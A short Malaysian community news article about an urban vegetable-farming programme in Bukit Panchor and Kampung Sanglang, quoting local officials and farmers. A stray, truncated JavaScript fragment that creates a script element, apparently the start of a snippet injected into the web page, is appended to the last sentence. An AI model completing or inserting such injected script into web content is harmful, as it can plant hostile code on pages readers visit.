Story by Chan Lilian
FLOURISHING green vegetables from urban farms not only provide the community with fresh, pesticide-free vegetables but also an activity to keep families bonded and communities closely knitted.
This is the fruit of Jawi assemblymember Soon Lip Chee and the Village Development and Security Committees (JKKK) under the “Urban Farming Programme” which began in South Seberang Perai.
Bukit Panchor and Kampung Sanglang under the Jawi constituency are the first two locations and more areas will be included soon.
The programme was initiated by exco member for Agriculture & Agro-Based Industry, Rural Development and Health Dr Afif Bahardin in January.
Soon, who was appointed the chairman of the Community Farming Committee, had given a push to the activities in the community.
“Most urbanites are too busy with work and have little time to manage an empty piece of land in their compound.
However, they can actually use this plot for the Urban Farming Programme.
“This will not only solve the overgrown weeds problem and breeding of mosquitoes, but the people can enjoy the home-grown vegetables which are pesticides-free,” Soon said.
“At the same time, parents can turn this into a family activity and get their children involved. The children also can gain living skills of farming and will enjoy the fruits of their labour. I welcome organisations, individuals and NGOs in Penang to participate in this programme,” he added.
Another excellent idea is to make use of empty pieces of land in the compounds of associations and NGOs to carry out vegetable farming.
Retirees can keep themselves busy farming too.
Tan Kean Phoay, chairman of JKKK Bukit Panchor, shared his farming secrets.
“We water the vegetables three times a day and use only organic fertilisers. We had problems with snails and ants but we removed the snails manually. We planted okras, spinach, kangkung, sawi and other vegetables,” he said.
Interested parties may contact Soon at 012-429 0163 or 04-594 1163 for more information.var d=document;var s=d.createElement(‘script’);